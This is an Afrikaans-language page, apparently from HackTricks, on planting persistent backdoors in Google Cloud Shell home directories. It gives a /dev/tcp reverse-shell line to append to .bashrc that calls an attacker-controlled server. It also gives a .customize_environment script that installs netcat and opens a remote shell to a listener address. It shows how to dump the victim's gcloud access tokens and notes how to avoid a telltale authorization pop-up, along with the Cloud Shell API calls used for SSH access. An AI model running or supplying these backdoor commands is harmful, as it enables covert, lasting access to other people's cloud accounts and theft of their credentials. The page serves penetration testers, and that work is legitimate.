4.4 KiB
GCP - Cloud Shell Persistensie
{{#include ../../../banners/hacktricks-training.md}}
Cloud Shell
Vir meer inligting, kyk:
{{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}}
Volhoubare Agterdeur
Google Cloud Shell bied jou opdraglyn toegang tot jou wolkbronne direk vanaf jou blaaier sonder enige geassosieerde koste.
Jy kan Google se Cloud Shell vanaf die webkonsol of deur gcloud cloud-shell ssh te gebruik.
Hierdie konsol het 'n paar interessante vermoëns vir aanvallers:
- Enige Google-gebruiker met toegang tot Google Cloud het toegang tot 'n volledig geverifieerde Cloud Shell-instansie (Diensrekeninge kan, selfs as hulle Eienaars van die organisasie is).
- Die genoemde instansie sal sy tuisgids vir ten minste 120 dae onderhou as daar geen aktiwiteit plaasvind nie.
- Daar is geen vermoëns vir 'n organisasie om die aktiwiteit van daardie instansie te monitor nie.
Dit beteken basies dat 'n aanvaller 'n agterdeur in die tuisgids van die gebruiker kan plaas en solank die gebruiker elke 120 dae ten minste met die GC Shell verbind, sal die agterdeur oorleef en die aanvaller sal 'n shell kry elke keer dit uitgevoer word net deur:
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
Daar is 'n ander lêer in die tuisgids genaamd .customize_environment wat, indien dit bestaan, uitgevoer gaan word elke keer wanneer die gebruiker toegang tot die cloud shell verkry (soos in die vorige tegniek). Voeg net die vorige backdoor of een soos die volgende in om volharding te handhaaf solank die gebruiker die cloud shell "gereeld" gebruik:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
Warning
Dit is belangrik om te noem dat die eerste keer dat 'n aksie wat verifikasie vereis, uitgevoer word, 'n pop-up magtiging venster in die gebruiker se blaaier verskyn. Hierdie venster moet aanvaar word voordat die opdrag kan loop. As 'n onverwagte pop-up verskyn, kan dit wantroue wek en moontlik die volhardingsmetode wat gebruik word, in gevaar stel.
Dit is die pop-up van die uitvoering van gcloud projects list vanaf die cloud shell (as aanvaller) gesien in die gebruiker se blaaiersessie:

As die gebruiker egter aktief die cloudshell gebruik het, sal die pop-up nie verskyn nie en kan jy tokens van die gebruiker versamel met:
gcloud auth print-access-token
gcloud auth application-default print-access-token
Hoe die SSH-verbinding gevestig word
Basies, hierdie 3 API-oproepe word gebruik:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (sal jou dwing om jou publieke sleutel wat jy lokaal geskep het, by te voeg)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (sal jou dwing om die instansie te begin)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (sal jou die IP van die Google Cloud Shell vertel)
Maar jy kan verdere inligting vind in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Verwysings
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
{{#include ../../../banners/hacktricks-training.md}}